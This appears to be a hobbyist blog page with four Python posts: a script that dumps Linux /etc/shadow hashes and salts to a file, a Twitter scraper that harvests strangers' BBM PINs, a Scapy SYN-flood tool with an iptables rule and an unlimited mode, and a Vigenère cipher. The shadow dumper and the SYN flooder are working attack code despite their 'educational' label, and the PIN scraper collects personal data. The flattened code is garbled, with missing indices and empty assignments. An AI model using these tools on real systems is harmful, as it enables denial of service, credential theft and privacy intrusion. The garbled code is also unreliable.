Dumping Linux Password Hashes
February 2, 2013
In my push to keep learning the Python programming language i thought a next good step is to make a simple script that grabs the password hashes on a Linux device and dump them to a file. The dump is formatted so that it is easy to read unlike the formatting used in the shadow file. I made this script purely for the challenge. It is not intended to be used for anything other than educational purposes.
So some background. Linux passwords are stored as a hash. A hash is a one way mathematical function which is used on the password to change it to something unintelligible. It is important to understand that this is a one way process. You are unable to convert some hashed data back to its intelligible form. One way of cracking hashed passwords is to use rainbow tables. These are tables populated with precomputed hashes and there paired plaintext password. They usually contain 1000’s of entries each with matching plaintext / hash value pairs.
Lets say for example you have a password hash: 436ad45345deed32. You want to find the password this hash represents using a rainbow table.
The rainbow table may look like the following:
PLAINTEXT PASSWORD HASH VALUE +----------------------+----------------------------+ | password | 43f54abeee342abe | | | | | qwerty | AB5445afd56ad345 | | | | | dragon | 4554bd44dd34cb32 | | | | | monkey | f632abcd345c34dc | | | | | supersecurepass | 436ad45345deed32 | | | | | letmein | 4fd43344decad356 | | | | | baseball | ab4564fd4ed4556d | | | | | mypass | c34ddef567ab345d | | | | +----------------------+----------------------------+
You check your hash value with each one in the rainbow table until a match is found. When the match is found the matching plaintext password is looked up, you now have the password.
To combat this weakness an extra value is used when hashing the password. This value is called a salt. The salt is a random value which is added to the password before it is hashed.
Password Hash Function Hash Value +-----------+------------------------+-------------------+ | | | | |secpass123 | +-------------------> | ad4565bcd34dea | | | | | +-----------+------------------------+-------------------+
Password Salt Concatenation Hash Function Hash Value +----------+-------------+-----------------------+------------------+----------------+ | | | | | | |secpass123| mysaltvalue | secpass123mysaltvalue | +-------------> | adb345252aed4f | | | | | | | +----------+-------------+-----------------------+------------------+----------------+
By introducing this salt value before the hashing takes place it makes the rainbow tables much less efficient. To generate a rainbow table not only will you need a a list of passwords but also a salt value to go with each password. If the salt value is not known then the rainbow table wont work.
In UNIX systems these hashes are stored in a shadow file located in /etc/shadow. This is obviously locked out to anyone other than root by default. This means the script wont work unless run under root or sudo.
How it works
Running the script below reads this shadow file and outputs the results to both the terminal and a text file in the same location as where you saved the python script. The text file is called dump.txt.
the way the hash value is stored is each entry is delimited by a colon. For example the first part is the username, followed by a colon. The next part is the hash and salt, followed by a colon etc..
The script relies a lot on slices which allow you to slice a string into parts.
An example of an entry in the shadow file
To get the username i sliced from index 0 of the string to the index of the first colon.
After the first colon there is the characters $?$. the ? being a number which indicates the hash function which is used on the password. This value was easily obtained in the script as it is always two characters from the first colon.
Next is the salt value. This is directly after the hash type and ends with the $. A for loop is used in the script to gather index values for both colons and dollar symbols. This make the extraction of the values in the whole string much simpler.
Next is the password hash. Gathered by slicing the whole string from the index value of the 3rd dollar sign to the 2nd colon.
The last piece gathered in the script is the amount of time left till the password expires. This was gathered by slicing the string between the 4th and 5th colons.
shadowFile = open('/etc/shadow', 'r') shadowFileList = shadowFile.readlines() shadowFile.close() dump = open('dump.txt', 'w') for user in shadowFileList: if '$' in user: print 'The username is: ' + user[0:user.find(':')] dump.write('The username is: ' + user[0:user.find(':')] + '\n') hashtype = user[user.find(':') + 2] count = 0 for letter in hashtype: if letter == '$': count = count + 1 if hashtype == '1': hashtype = 'The hashing algorithm used is: MD5' dump.write('The hashing algorithm used is: MD5\n') elif hashtype == '2': hashtype = 'The hashing algorithm used is: BlowFish' dump.write('The hashing algorithm used is: BlowFish\n') elif hashtype == '5': hashtype = 'The hashing algorithm used is: SHA256' dump.write('The hashing algorithm used is: SHA256\n') elif hashtype == '6': hashtype = 'The hashing algorithm used is: SHA512' dump.write('The hashing algorithm used is: SHA512\n') else: hashtype = 'The hashing algorithm used is Unknown. It has a hash code value of:' + hashtype + '.' dump.write('The username is: ' + user[0:user.find(':')] + '\n') print hashtype delimitercolon =  delimiterdolla =  count = 0 for char in user: if char == ':': delimitercolon.append(count) if char == '$': delimiterdolla.append(count) count = count + 1 print 'The Hash is: ' + user[delimiterdolla + 1:delimitercolon] dump.write('The Hash is: ' + user[delimiterdolla + 1:delimitercolon] + '\n') print 'The Salt is: ' + user[delimiterdolla + 1:delimiterdolla] dump.write('The Salt is: ' + user[delimiterdolla + 1:delimiterdolla] + '\n') print 'The password is set to expire in ' + user[delimitercolon + 1:delimitercolon] + ' days.\n\n' dump.write('The password is set to expire in ' + user[delimitercolon + 1:delimitercolon] + ' days.\n\n\n')
The output looks like the following:
The username is: test The hashing algorithm used is: SHA512 The Hash is: oDexE5blBiNer7V2qHXVgQvdhSzChH2kmQ2.op4nHLPxMldePB3CyEizwyhhLo3lwpTIFnzqN30KuQOKEFuVe1 The Salt is: 54dYBZqz The password is set to expire in 99999 days.
If you have any questions please let me know in the comments or by email james[at]jamesdotcom.com. Feel free to use the code, change it in anyway or whatever.
BBM Pin Aggregation from Twitter
January 9, 2013
I was trying to think of a good way to get some more practice with python especially in interacting with some kind of API. @wimremes on twitter gave me a good idea with this tweet.
I made a simple python script using the python-twitter wrapper for the twitter API. It performs a search every 3 minutes for the search term “my bbm pin” and saves the pin into a results.txt file in the same folder. I don’t know why people wouldn’t want to share their BBM pin with random people. I thought it was quite amusing nonetheless. You will need the Python-Twitter Wrapper for it to work.
Just leave this script running and see how many it finds.
import twitter import string import re import time api = twitter.Api(consumer_key ='YOUR_KEY', consumer_secret='YOUR_SECRET', access_token_key='YOUR_ACCESS_KEY', access_token_secret='YOUR_ACCESS_SECRET') #Enter your Twitter API details here. loopControl = True while loopControl == True: #used to keep the programming running bbmPins = api.GetSearch(term='my bbm pin') #The search term sent to the twitter API for bbm in bbmPins: status = bbm.GetText().encode('utf-8') #Converts the unicode string returned by the API to UTF-8. this allows for punctuation to be removed more easily. statusNoPunct = status.translate(None, string.punctuation).lower() #Removes the punctuation and converts the statuses to lower case. wordList = statusNoPunct.split() #Splits the statuses into individual words. for word in wordList: if len(word) == 8: #Checks if the word in 8 characters long. (BBM pins are 8 characters long). #Filters out any non-hexadecimal words (BBM pins are hexadecimal) if not 'g' in word and not 'h' in word and not 'i' in word and not 'j' in word and not 'k' in word and not 'l' in word and not 'm' in word and not 'n' in word and not 'o' in word and not 'p' in word and not 'q' in word and not 'r' in word and not 's' in word and not 't' in word and not 'u' in word and not 'v' in word and not 'w' in word and not 'x' in word and not 'y' in word and not 'z' in word: results = open('results.txt', 'a+') if not word in results.read(): #Checks if the pin already exists in the file results.write(word + "\n") #Writes the pin to the file results.close() print word if len(word) == 11: #Some people posted the BBM pins as so Pin:25B46EE0. With the : and . omitted in line 11 this will be 11 characters long. if 'pin' in word: sliceWord = word[3: len(word)] #Strips the word "pin" from the beginning of the pin (pin25B46EE0 > 25B46EE0) results = open('results.txt', 'a+') if not sliceWord in results.read(): #Checks if the pin already exists in the file. results.write(sliceWord + "\n") #Writes the pin to the file results.close() print sliceWord time.sleep(180) #sleep for 3 minutes before starting again.
SYN Flooding with Scapy and Python
August 12, 2012
What is a SYN flood?
When a connection is made from client to server through TCP it is initialized with a three way handshake. Each of the 3 stages of the handshake sends a different type of TCP segment across the network.
- Client sends SYN (synchronize) to server
- Server sends SYN-ACK (synchronize Acknowledgement) back to the client
- Client sends ACK back to server
This 3 way handshake establishes the rest of the connection between the client and server.
When performing a SYN flood you’re only completing the first two parts of the three way handshake. A request is made with the server to synchronise. The server Acknowledges the synchronisation but no acknowledgement from the client to the server is sent back. This causes the server to have half open connections which can result in a denial of service if the process is repeated and replicated by multiple machines.
By default the Linux kernel sends an RST in response to a SYN-ACK received from the server. This is because of a lack of communication between scapy and the kernel. You can read more about it Here. For this reason an IPTABLES rule needs to be created to block any outgoing RST packets.
sudo iptables -A OUTPUT -p tcp -s 192.168.1.89 –tcp-flags RST RST -j DROP
(the IP address 192.168.1.89 is the source address, the local IP address)
My Python Script
Below is a Python script that implements the scapy program which allows you to both manipulate and send packets. As well as a whole host of other things. It is created purely as an educational tool and shows how Scapy can be implemented into python.
the python script takes 3 arguments.
-d The destination IP address for the SYN packet
-c The amount of SYN packets to send. (enter X for unlimited)
-p The destination port for the SYN packet
As it uses the send function in scapy it must be run as root user.
sudo python synflood.py -d 192.168.1.85 -c x -p 80
This will send a constant SYN flood to the ip address 192.168.1.85 and to port 80.
sudo python synflood.py -d 192.168.1.85 -c 100 -p 80
This will send 100 SYN segments to 192.168.1.85 on port 80.
The script sets the source IP to your local IP. The source port is randomised.
import sys import random import logging # This and the following line are used to omit the IPv6 error displayed by importing scapy. logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import argparse import os import urllib2 if os.getuid() != 0: # Checks to see if the user running the script is root. print("You need to run this program as root for it to function correctly.") sys.exit(1) parser = argparse.ArgumentParser(description='This educational tool sends SYN requests to the target specified in the arguments.') # This and preceding 4 lines used to control the arguments entered in the CLI. parser.add_argument('-d', action="store",dest='source', help='The destination IP address for the SYN packet') parser.add_argument('-c', action="store",dest='count', help='The amount of SYN packets to send. (enter X for unlimited)') parser.add_argument('-p', action="store",dest='port', help='The destination port for the SYN packet') args = parser.parse_args() if len(sys.argv) == 1: # Forces the help text to be displayed if no arguments are entered parser.print_help() sys.exit(1) args = vars(args) # converts the arguments into dictionary format for easier retrieval. iterationCount = 0 # variable used to control the while loop for the amount of times a packet is sent. if args['count'] == "X" or args['count'] == "x": # If the user entered an X or x into the count argument (wants unlimited SYN segments sent) while (1 == 1): a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a send(a, verbose=0) # Sends the Packet iterationCount = iterationCount + 1 print(str(iterationCount) + " Packet Sent") else: # executed if the user defined an amount of segments to send. while iterationCount < int(args['count']): a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a send(a, verbose=0) # Sends the Packet iterationCount = iterationCount + 1 print(str(iterationCount) + " Packet Sent") print("All packets successfully sent.")
When the script is executed the packets are sent to the destination IP address. This can be viewed in wireshark. note the random ports which appear on each packet.
The target was a Backtrack 5 R2 virtual machine which was running an Apache web server on port 80. By entering the command “netstat -at” you can view all listening TCP ports.
As you can see from the screenshot there are 10 listening TCP ports which have been created because of the 10 SYN segments that were sent previously.
You can get more information about scapy at http://www.secdev.org/projects/scapy/ You can read an advisory for the TCP SYN attack at http://www.securityfocus.com/advisories/1422
The Vigenère cipher in Python
July 17, 2012
The Vigenère cipher is a polyalphabetic substitution cipher system designed by Giovan Battista Bellaso and improved upon by Blaise de Vigenère. It functions very similarly to a Caesar shift cipher where a shift of lettering occurs. Unlike the Caesar shift cipher the Vigenère cipher performs different shift per character. For example the first letter may have a shift of 4 and the second letter may have a shift of 8 and so on. A key is used to define the shift value for each letter. In this script they key is a letter of the alphabet.
The program works by retrieving the index values of the characters from the key and the plain text in turn. These values are then added together and the resulting number is equal to the index value corresponding to the cipher text. For example:
We have an alphabet with each letter assigned a value a = 0 b = 1 c = 2 and so on…
If we were to have the key R and the plain text letter P we would add the values 17 for R and 15 for P. 17 + 15 = 32
If the value is greater than 26 we keep subtracting 26 until we get a number less than 26. 32 – 26 = 6.
We now look up the value 6 in the alphabet index. the value at index 6 is G.
The program simply loops through this process for each letter in the plain text till the cipher text is complete.
Feel free to use the code however you want. Let me know if you do as I would be interested in its implementation.
#------------------------------------------------------------------------------- # Name: Vigenere Cipher # Purpose: # # Author: James Woolley # # Created: 17/07/2012 # Copyright: (c) James 2012 # Licence: Open Source #------------------------------------------------------------------------------- #Creates the base Alphabet which is used for finding preceeding characters from the ciphertext. baseAlphabet = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z') print ("Welcome to a Vigenere Cipher encrypter. You will first be asked to enter the plain text to be encrypted and then the key you would like to use in the encryption process. The resulting text will be the cipher text.") plainText = raw_input("Please enter the plain text") key = raw_input("Please enter the key") keyList =  keyLength = 0 while keyLength < len(plainText): for char in key:#Adds the users entered key into a list character by character. Also makes the key the same length as plainText if keyLength < len(plainText): keyList.append(str(char)) keyLength = keyLength + 1 completeCipherText =  #The variable each processed letter is appended to cipherCharIndexValue = 0#This is the value used to temporaily store the ciphertext character during the iteration keyIncrement = 0 for plainTextChar in plainText:#iterates through the plain text cipherCharIndexValue = baseAlphabet.index(keyList[keyIncrement]) + baseAlphabet.index(plainTextChar)#Adds the base alphabets index value of the key and the plain text char while cipherCharIndexValue > 25: cipherCharIndexValue = cipherCharIndexValue - 26#makes the addition value under 26 as to not go out of range of base alphabet tuple completeCipherText.append(baseAlphabet[cipherCharIndexValue])#appends the ciphertext character to the completeCipherText variable. The character is the index of the key + index of the plainTextChar from baseAlphabet keyIncrement = keyIncrement + 1#Moves onto the next key print ''.join(completeCipherText)#Makes the result a strings for printing to the console.